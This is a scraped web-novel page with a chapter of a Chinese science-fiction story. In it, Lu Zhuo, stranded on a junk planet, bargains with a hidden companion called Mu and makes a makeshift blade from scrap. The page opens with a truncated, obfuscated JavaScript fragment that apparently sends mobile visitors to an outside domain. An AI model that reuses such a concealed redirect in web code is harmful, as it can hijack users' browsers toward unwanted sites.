l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449043|185237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“但这里东西有很多，总比一无所有要好。 “根据我这几天的观察，这里来倒垃圾的飞机都是一致的，会不会在贫瘠星上经过筛选的垃圾也会来到这里呢？ “甚至，会不会也会有经过筛选的垃圾从这里运走呢？这样的话，我就可以回贫瘠星了。” “你要回贫瘠星？” 穆氏说这个名词的时候，声音并不连贯，像是极少极少说这个词一样。 但陆灼已经随手拿起一根柱子一样的东西，拨弄着四周四散的碎片： “是，本来，贫瘠星可能也会有一个姓穆的女人和你一起被囚禁的。” 她顿了顿，假装云淡风轻地试探着： “穆筱竹，你认识吗？” “筱竹……”穆氏磕巴了一下，“我目前记忆里没有这个名字。” “以后也不会有。”陆灼从地上捡起一块看起来锋利异常的碎片，比划了几下，“她死了，炸得粉身碎骨。” “你现在搞不定机甲，试一试冷兵器吧。” 穆氏突然主动提出了建议， “比如说你手上这一块，其实材质不错。但是需要打磨，对现在的你来说，要想打磨……” “那我的光脑上会有监听设备吗？” 陆灼突兀问， “说不定到时候我连累你死了，你就可以也见一见穆筱竹了。” 穆氏的声音一下子断了，而后是沉了几分的回答： “现在的资源被严格掌管，珍稀的太阳能要先供给天堂星，怎么可能在光脑上再安监听。 “你们是依附权力的狗，就算背叛，也兴不起任何风浪。” 陆灼目光闪烁了一下，突然回道： “我来到这里，这么多人为我牺牲，我会想到办法阻拦。” “天真。” 穆氏嗤了一声，陆灼却耐心等着，果然听到她继续道， “男人杀光女人正是因为恐惧和弱小，你与其单打独斗，不如找到男人堆里的裂缝。” “我不是单打独斗。” 陆灼立刻接话， “你在我身边。 “穆女士，你愿意和我组队吗？” “陆灼，你不需要我。 “就像你换上这具躯壳时一样。” ……当时，穆氏就在了。 原来她当时察觉到的被注视的感觉，就是穆氏。 穆氏还在继续： “那时我还在觉醒，只能被动接收记忆。 “但无论是怎样的理由，你知道了这个真相，还愿意和我在一起吗？” 陆灼晃了晃手上的锋利碎片，接话道：“这一块不行，你能帮我挑一块更好的吗？” 她委婉：“你能透过我的眼睛，看到外面的情况吗？” “我当然可以。” 穆氏似乎并没有听出陆灼的言外之意，还在指挥着她， “你往左边走走，那一片的质量看起来似乎不错。” 原来她都看到了。 在她还没能开口的时候。 陆灼暗了暗神色，听言走了过去。 …… 不知道为什么，穆氏对冷兵器的确了解极多。 听了穆氏的指挥，陆灼的确找到了一块刀刃形状的碎片。 至于那根过长的杆子，穆氏也能找到密度合适的金属块，让她就着敲断打磨。 总之，马马虎虎的，竟然真的做出了一个又像短刃又像小斧子的武器出来。 陆灼比划了几下，表达了感谢：“这东西暂时用来防身可以了。 “至于到底如何比赛，我会再想想办法的。” 穆氏没有搭话，陆灼于是用剩下的杆子撑着往回走。 很远的地方隐隐约约有翻来倒去的声音，陆灼知道，那是另一边的人翻找的动静。 但她无意结识其它人，也不想给自己找麻烦。 于是她加快了脚步。 空阔的夜色里，陆灼只能听见自己刻意压低的呼吸音，和匆匆的踩踏声。 她终于没忍住问出了已经第三遍的问题： “穆女士，你既然被囚禁，一定是很有本领的人。 “所以，你有办法可以复活她们吗？”